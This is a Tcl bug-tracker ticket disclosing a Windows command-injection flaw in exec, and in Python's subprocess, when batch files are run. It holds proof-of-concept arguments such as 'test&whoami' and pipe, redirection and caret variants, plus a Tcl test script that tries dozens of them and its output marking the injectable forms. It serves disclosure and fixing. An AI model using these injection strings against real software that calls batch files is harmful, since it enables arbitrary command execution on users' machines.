Skip to content
Tcl Source Code Ticket Change Details
Login

Ticket Change Details

Overview

Artifact ID: a016935132551ffb05b9f8e71236c4c7432bc4787b995fd63f64f5a9f42c4409
Ticket: 21b0629c81fbe38ad153cd8fd899626200a66e15
0-day vulnerability - insufficient escape by exec of batch-files for windows
User & Date: sebres on 2018-08-23 21:08:08
Changes

  1. comment changed to:
    [UPDATED]<br/>
    0-day vulnerability in tcl-exec (for win) by calling of batch-files resp. default windows command processor.
    <code><pre style="padding-left:10pt">
    % exec my-echo.cmd {test &whoami} 
    <b style="color:green">  "test &whoami"</b>
    % exec my-echo.cmd {test"&whoami} 
    <b style="color:green">  test\"&whoami</b>
    % exec my-echo.cmd {test&whoami}
    <b style="color:red">  test
      my_domain\sebres</b>
    </pre></code>
    It may be expected in the direct invocation of <code>cmd.exe /c ...</code> as regards it accepts many special meta-chars (so some pre-processing on the part of command-processor may be required).
    But the same pre-processing by invocation of the batch-files is very dangerous, so is unwanted as vulnerable.
    
    Rather it is a matter the weird windows unescape behavior in case of command processor,<br/>therefore almost everything else beside Tcl is affected by same vulnerability also similar way.
    
    For example python (for win):
    <code><pre style="padding-left:10pt">
    >>> subprocess.call(['my-echo.cmd', 'test &whoami'])
    <b style="color:green">  "test &whoami"</b>
    >>> subprocess.call(['my-echo.cmd', 'test"&whoami'])
    <b style="color:green">  test\"&whoami</b>
    >>> subprocess.call(['my-echo.cmd', 'test&whoami'])
    <b style="color:red">  test
      my_domain\sebres</b>
    </pre></code>
    
    See [https://github.com/sebres/PoC/blob/master/SB-0D-001-win-exec/README.md|github.com/sebres/PoC/SB-0D-001-win-exec] for more extensive PoC with additional info (and more lang's).
    
    Thanks to Peter (resuna) for link to <a href="https://blogs.msdn.microsoft.com/twistylittlepassagesallalike/2011/04/23/everyone-quotes-command-line-arguments-the-wrong-way/">discussion</a>
    
    It looks like the arguments containing unpaired quote-chars somewhere will cause processing of the special meta-characters, so it should be extra escaped using tripple circumflex but only for unpaired quote-chars (by paired quotes it remains the meta-char as well as <code>^^^</code> sequence).
    
    For more extensive PoC I wrote a small helper dumping arguments (here <code>test-dump.exe</code>) as well as small batch (<code>test-dump.cmd</code>) doing the same:
    <code><pre style="padding-left:10pt">
    @pushd %~dp0
    @rem echo %*
    @test-dump.exe %*
    @popd
    </pre></code>
    
    Instead of test-dump.exe one can use following code as <code>test-dump.tcl</code> (with adjusting the invocation in <code>test-dump.cmd</code>)
    <code><pre style="padding-left:10pt">
    catch { puts -nonewline "    `[file tail $::argv0]´ `[join $::argv "´ `"]´"; flush stdout }
    </pre></code>
    
    And use following tcl-script (<code>test-dump-inv.tcl</code>) to try or validate different variants (to find the "injuries"):
    <code><pre style="padding-left:10pt">
    set testinv {test-dump.exe test-dump.CMD}
    
    set tn 0
    foreach a {
      {test"whoami}     {test""whoami}
      {test&whoami}     {test|whoami}
      {"test&whoami}    {"test|whoami}
      {test"&whoami}    {test"|whoami}
      {"test"&whoami}   {"test"|whoami}
      {""test"&whoami}  {""test"|whoami}
      {test&echo "}     {test|echo "}
      {"test&echo "}    {"test|echo "}
      {test"&echo "}    {test"|echo "}
      {"test"&echo "}   {"test"|echo "}
      {""test"&echo "}  {""test"|echo "}
      {test&echo ""}    {test|echo ""}
      {"test&echo ""}   {"test|echo ""}
      {test"&echo ""}   {test"|echo ""}
      {"test"&echo ""}  {"test"|echo ""}
      {""test"&echo ""} {""test"|echo ""}
      {test>whoami}     {test<whoami}
      {"test>whoami}    {"test<whoami}
      {test">whoami}    {test"<whoami}
      {"test">whoami}   {"test"<whoami}
      {""test">whoami}  {""test"<whoami}
      {test(whoami)}    {test(whoami)}
      {test"(whoami)}   {test"(whoami)}
      {test^whoami}     {test^^echo ^^^}
      {test"^whoami}    {test"^^echo ^^^}
    } {
      puts [string repeat - 20]
      unset -nocomplain prevr
      foreach cmd $testinv {
        puts -nonewline [format "*%3d) `%s´" \
          $tn [join [list test-dump[file extension [lindex $cmd 0]] $a] "´ `"]]
        if {[catch {
          set r [exec {*}$cmd $a]
        } r]} {
          set r "ERROR: $r"
        }
        if {![info exists prevr] || $prevr eq $r} {
          puts ""
        } else {
          puts " -- *VULNERABLE*"
        }
        set prevr $r
        puts [regsub -all -line {^} $r "  "]
      }
      incr tn
    }
    </pre></code>
    
    The results:
    <code><pre style="padding-left:10pt">
    > tclsh.exe test-dump-inv.tcl
    --------------------
    <b style="color:blue">*  0) `test-dump.exe´ `test"whoami´</b>
          `test-dump.exe´ `test"whoami´
    <b style="color:blue">*  0) `test-dump.CMD´ `test"whoami´</b>
          `test-dump.exe´ `test"whoami´
    --------------------
    <b style="color:blue">*  1) `test-dump.exe´ `test""whoami´</b>
          `test-dump.exe´ `test""whoami´
    <b style="color:blue">*  1) `test-dump.CMD´ `test""whoami´</b>
          `test-dump.exe´ `test""whoami´
    --------------------
    <b style="color:blue">*  2) `test-dump.exe´ `test&whoami´</b>
          `test-dump.exe´ `test&whoami´
    <b style="color:blue">*  2) `test-dump.CMD´ `test&whoami´</b> -- <b style="color:red">*VULNERABLE*
          `test-dump.exe´ `test´my_domain\sebres
    </b>--------------------
    <b style="color:blue">*  3) `test-dump.exe´ `test|whoami´</b>
          `test-dump.exe´ `test|whoami´
    <b style="color:blue">*  3) `test-dump.CMD´ `test|whoami´</b> -- <b style="color:red">*VULNERABLE*
      my_domain\sebres
    </b>--------------------
    <b style="color:blue">*  4) `test-dump.exe´ `"test&whoami´</b>
          `test-dump.exe´ `"test&whoami´
    <b style="color:blue">*  4) `test-dump.CMD´ `"test&whoami´</b>
          `test-dump.exe´ `"test&whoami´
    --------------------
    <b style="color:blue">*  5) `test-dump.exe´ `"test|whoami´</b>
          `test-dump.exe´ `"test|whoami´
    <b style="color:blue">*  5) `test-dump.CMD´ `"test|whoami´</b>
          `test-dump.exe´ `"test|whoami´
    --------------------
    <b style="color:blue">*  6) `test-dump.exe´ `test"&whoami´</b>
          `test-dump.exe´ `test"&whoami´
    <b style="color:blue">*  6) `test-dump.CMD´ `test"&whoami´</b>
          `test-dump.exe´ `test"&whoami´
    --------------------
    <b style="color:blue">*  7) `test-dump.exe´ `test"|whoami´</b>
          `test-dump.exe´ `test"|whoami´
    <b style="color:blue">*  7) `test-dump.CMD´ `test"|whoami´</b>
          `test-dump.exe´ `test"|whoami´
    --------------------
    <b style="color:blue">*  8) `test-dump.exe´ `"test"&whoami´</b>
          `test-dump.exe´ `"test"&whoami´
    <b style="color:blue">*  8) `test-dump.CMD´ `"test"&whoami´</b> -- <b style="color:red">*VULNERABLE*
          `test-dump.exe´ `"test"´my_domain\sebres
    </b>--------------------
    <b style="color:blue">*  9) `test-dump.exe´ `"test"|whoami´</b>
          `test-dump.exe´ `"test"|whoami´
    <b style="color:blue">*  9) `test-dump.CMD´ `"test"|whoami´</b> -- <b style="color:red">*VULNERABLE*
      my_domain\sebres
    </b>--------------------
    <b style="color:blue">* 10) `test-dump.exe´ `""test"&whoami´</b>
          `test-dump.exe´ `""test"&whoami´
    <b style="color:blue">* 10) `test-dump.CMD´ `""test"&whoami´</b>
          `test-dump.exe´ `""test"&whoami´
    --------------------
    <b style="color:blue">* 11) `test-dump.exe´ `""test"|whoami´</b>
          `test-dump.exe´ `""test"|whoami´
    <b style="color:blue">* 11) `test-dump.CMD´ `""test"|whoami´</b>
          `test-dump.exe´ `""test"|whoami´
    --------------------
    <b style="color:blue">* 12) `test-dump.exe´ `test&echo "´</b>
          `test-dump.exe´ `test&echo "´
    <b style="color:blue">* 12) `test-dump.CMD´ `test&echo "´</b>
          `test-dump.exe´ `test&echo "´
    --------------------
    <b style="color:blue">* 13) `test-dump.exe´ `test|echo "´</b>
          `test-dump.exe´ `test|echo "´
    <b style="color:blue">* 13) `test-dump.CMD´ `test|echo "´</b>
          `test-dump.exe´ `test|echo "´
    --------------------
    <b style="color:blue">* 14) `test-dump.exe´ `"test&echo "´</b>
          `test-dump.exe´ `"test&echo "´
    <b style="color:blue">* 14) `test-dump.CMD´ `"test&echo "´</b> -- <b style="color:red">*VULNERABLE*
          `test-dump.exe´ `"test´\""
    </b>--------------------
    <b style="color:blue">* 15) `test-dump.exe´ `"test|echo "´</b>
          `test-dump.exe´ `"test|echo "´
    <b style="color:blue">* 15) `test-dump.CMD´ `"test|echo "´</b> -- <b style="color:red">*VULNERABLE*
      \""
    </b>--------------------
    <b style="color:blue">* 16) `test-dump.exe´ `test"&echo "´</b>
          `test-dump.exe´ `test"&echo "´
    <b style="color:blue">* 16) `test-dump.CMD´ `test"&echo "´</b> -- <b style="color:red">*VULNERABLE*
          `test-dump.exe´ `test"´\""
    </b>--------------------
    <b style="color:blue">* 17) `test-dump.exe´ `test"|echo "´</b>
          `test-dump.exe´ `test"|echo "´
    <b style="color:blue">* 17) `test-dump.CMD´ `test"|echo "´</b> -- <b style="color:red">*VULNERABLE*
      \""
    </b>--------------------
    <b style="color:blue">* 18) `test-dump.exe´ `"test"&echo "´</b>
          `test-dump.exe´ `"test"&echo "´
    <b style="color:blue">* 18) `test-dump.CMD´ `"test"&echo "´</b>
          `test-dump.exe´ `"test"&echo "´
    --------------------
    <b style="color:blue">* 19) `test-dump.exe´ `"test"|echo "´</b>
          `test-dump.exe´ `"test"|echo "´
    <b style="color:blue">* 19) `test-dump.CMD´ `"test"|echo "´</b>
          `test-dump.exe´ `"test"|echo "´
    --------------------
    <b style="color:blue">* 20) `test-dump.exe´ `""test"&echo "´</b>
          `test-dump.exe´ `""test"&echo "´
    <b style="color:blue">* 20) `test-dump.CMD´ `""test"&echo "´</b> -- <b style="color:red">*VULNERABLE*
          `test-dump.exe´ `""test"´\""
    </b>--------------------
    <b style="color:blue">* 21) `test-dump.exe´ `""test"|echo "´</b>
          `test-dump.exe´ `""test"|echo "´
    <b style="color:blue">* 21) `test-dump.CMD´ `""test"|echo "´</b> -- <b style="color:red">*VULNERABLE*
      \""
    </b>--------------------
    <b style="color:blue">* 22) `test-dump.exe´ `test&echo ""´</b>
          `test-dump.exe´ `test&echo ""´
    <b style="color:blue">* 22) `test-dump.CMD´ `test&echo ""´</b>
          `test-dump.exe´ `test&echo ""´
    --------------------
    <b style="color:blue">* 23) `test-dump.exe´ `test|echo ""´</b>
          `test-dump.exe´ `test|echo ""´
    <b style="color:blue">* 23) `test-dump.CMD´ `test|echo ""´</b>
          `test-dump.exe´ `test|echo ""´
    --------------------
    <b style="color:blue">* 24) `test-dump.exe´ `"test&echo ""´</b>
          `test-dump.exe´ `"test&echo ""´
    <b style="color:blue">* 24) `test-dump.CMD´ `"test&echo ""´</b> -- <b style="color:red">*VULNERABLE*
          `test-dump.exe´ `"test´\"\""
    </b>--------------------
    <b style="color:blue">* 25) `test-dump.exe´ `"test|echo ""´</b>
          `test-dump.exe´ `"test|echo ""´
    <b style="color:blue">* 25) `test-dump.CMD´ `"test|echo ""´</b> -- <b style="color:red">*VULNERABLE*
      \"\""
    </b>--------------------
    <b style="color:blue">* 26) `test-dump.exe´ `test"&echo ""´</b>
          `test-dump.exe´ `test"&echo ""´
    <b style="color:blue">* 26) `test-dump.CMD´ `test"&echo ""´</b> -- <b style="color:red">*VULNERABLE*
          `test-dump.exe´ `test"´\"\""
    </b>--------------------
    <b style="color:blue">* 27) `test-dump.exe´ `test"|echo ""´</b>
          `test-dump.exe´ `test"|echo ""´
    <b style="color:blue">* 27) `test-dump.CMD´ `test"|echo ""´</b> -- <b style="color:red">*VULNERABLE*
      \"\""
    </b>--------------------
    <b style="color:blue">* 28) `test-dump.exe´ `"test"&echo ""´</b>
          `test-dump.exe´ `"test"&echo ""´
    <b style="color:blue">* 28) `test-dump.CMD´ `"test"&echo ""´</b>
          `test-dump.exe´ `"test"&echo ""´
    --------------------
    <b style="color:blue">* 29) `test-dump.exe´ `"test"|echo ""´</b>
          `test-dump.exe´ `"test"|echo ""´
    <b style="color:blue">* 29) `test-dump.CMD´ `"test"|echo ""´</b>
          `test-dump.exe´ `"test"|echo ""´
    --------------------
    <b style="color:blue">* 30) `test-dump.exe´ `""test"&echo ""´</b>
          `test-dump.exe´ `""test"&echo ""´
    <b style="color:blue">* 30) `test-dump.CMD´ `""test"&echo ""´</b> -- <b style="color:red">*VULNERABLE*
          `test-dump.exe´ `""test"´\"\""
    </b>--------------------
    <b style="color:blue">* 31) `test-dump.exe´ `""test"|echo ""´</b>
          `test-dump.exe´ `""test"|echo ""´
    <b style="color:blue">* 31) `test-dump.CMD´ `""test"|echo ""´</b> -- <b style="color:red">*VULNERABLE*
      \"\""
    </b>--------------------
    <b style="color:blue">* 32) `test-dump.exe´ `test>whoami´</b>
          `test-dump.exe´ `test>whoami´
    <b style="color:blue">* 32) `test-dump.CMD´ `test>whoami´</b> -- <b style="color:red">*VULNERABLE*
    
    </b>--------------------
    <b style="color:blue">* 33) `test-dump.exe´ `test<whoami´</b>
          `test-dump.exe´ `test<whoami´
    <b style="color:blue">* 33) `test-dump.CMD´ `test<whoami´</b> -- <b style="color:red">*VULNERABLE*
          `test-dump.exe´ `test´
    </b>--------------------
    <b style="color:blue">* 34) `test-dump.exe´ `"test>whoami´</b>
          `test-dump.exe´ `"test>whoami´
    <b style="color:blue">* 34) `test-dump.CMD´ `"test>whoami´</b>
          `test-dump.exe´ `"test>whoami´
    --------------------
    <b style="color:blue">* 35) `test-dump.exe´ `"test<whoami´</b>
          `test-dump.exe´ `"test<whoami´
    <b style="color:blue">* 35) `test-dump.CMD´ `"test<whoami´</b>
          `test-dump.exe´ `"test<whoami´
    --------------------
    <b style="color:blue">* 36) `test-dump.exe´ `test">whoami´</b>
          `test-dump.exe´ `test">whoami´
    <b style="color:blue">* 36) `test-dump.CMD´ `test">whoami´</b>
          `test-dump.exe´ `test">whoami´
    --------------------
    <b style="color:blue">* 37) `test-dump.exe´ `test"<whoami´</b>
          `test-dump.exe´ `test"<whoami´
    <b style="color:blue">* 37) `test-dump.CMD´ `test"<whoami´</b>
          `test-dump.exe´ `test"<whoami´
    --------------------
    <b style="color:blue">* 38) `test-dump.exe´ `"test">whoami´</b>
          `test-dump.exe´ `"test">whoami´
    <b style="color:blue">* 38) `test-dump.CMD´ `"test">whoami´</b> -- <b style="color:red">*VULNERABLE*
    
    </b>--------------------
    <b style="color:blue">* 39) `test-dump.exe´ `"test"<whoami´</b>
          `test-dump.exe´ `"test"<whoami´
    <b style="color:blue">* 39) `test-dump.CMD´ `"test"<whoami´</b> -- <b style="color:red">*VULNERABLE*
          `test-dump.exe´ `"test"´
    </b>--------------------
    <b style="color:blue">* 40) `test-dump.exe´ `""test">whoami´</b>
          `test-dump.exe´ `""test">whoami´
    <b style="color:blue">* 40) `test-dump.CMD´ `""test">whoami´</b>
          `test-dump.exe´ `""test">whoami´
    --------------------
    <b style="color:blue">* 41) `test-dump.exe´ `""test"<whoami´</b>
          `test-dump.exe´ `""test"<whoami´
    <b style="color:blue">* 41) `test-dump.CMD´ `""test"<whoami´</b>
          `test-dump.exe´ `""test"<whoami´
    --------------------
    <b style="color:blue">* 42) `test-dump.exe´ `test(whoami)´</b>
          `test-dump.exe´ `test(whoami)´
    <b style="color:blue">* 42) `test-dump.CMD´ `test(whoami)´</b>
          `test-dump.exe´ `test(whoami)´
    --------------------
    <b style="color:blue">* 43) `test-dump.exe´ `test(whoami)´</b>
          `test-dump.exe´ `test(whoami)´
    <b style="color:blue">* 43) `test-dump.CMD´ `test(whoami)´</b>
          `test-dump.exe´ `test(whoami)´
    --------------------
    <b style="color:blue">* 44) `test-dump.exe´ `test"(whoami)´</b>
          `test-dump.exe´ `test"(whoami)´
    <b style="color:blue">* 44) `test-dump.CMD´ `test"(whoami)´</b>
          `test-dump.exe´ `test"(whoami)´
    --------------------
    <b style="color:blue">* 45) `test-dump.exe´ `test"(whoami)´</b>
          `test-dump.exe´ `test"(whoami)´
    <b style="color:blue">* 45) `test-dump.CMD´ `test"(whoami)´</b>
          `test-dump.exe´ `test"(whoami)´
    --------------------
    <b style="color:blue">* 46) `test-dump.exe´ `test^whoami´</b>
          `test-dump.exe´ `test^whoami´
    <b style="color:blue">* 46) `test-dump.CMD´ `test^whoami´</b> -- <b style="color:red">*VULNERABLE*
          `test-dump.exe´ `testwhoami´
    </b>--------------------
    <b style="color:blue">* 47) `test-dump.exe´ `test^^echo ^^^´</b>
          `test-dump.exe´ `test^^echo ^^^´
    <b style="color:blue">* 47) `test-dump.CMD´ `test^^echo ^^^´</b>
          `test-dump.exe´ `test^^echo ^^^´
    --------------------
    <b style="color:blue">* 48) `test-dump.exe´ `test"^whoami´</b>
          `test-dump.exe´ `test"^whoami´
    <b style="color:blue">* 48) `test-dump.CMD´ `test"^whoami´</b>
          `test-dump.exe´ `test"^whoami´
    --------------------
    <b style="color:blue">* 49) `test-dump.exe´ `test"^^echo ^^^´</b>
          `test-dump.exe´ `test"^^echo ^^^´
    <b style="color:blue">* 49) `test-dump.CMD´ `test"^^echo ^^^´</b> -- <b style="color:red">*VULNERABLE*
          `test-dump.exe´ `test"echo ´
    </b>
    </pre></code>
    
    The major injury is happened by pre-processing of the arguments with special meta-chars (so depends on quotes-count or position), but some tests show that Tcl seems to have here additionally insufficient escaping by some special characters (at least looks like vulnerable arguments-handling, also by execution of some tests without unpaired quotes (after escape).
    
    Fixed in branch [/timeline?r=0-day-21b0629c81|0-day-21b0629c81].
    
  2. login: "sebres"
  3. mimetype: "text/plain"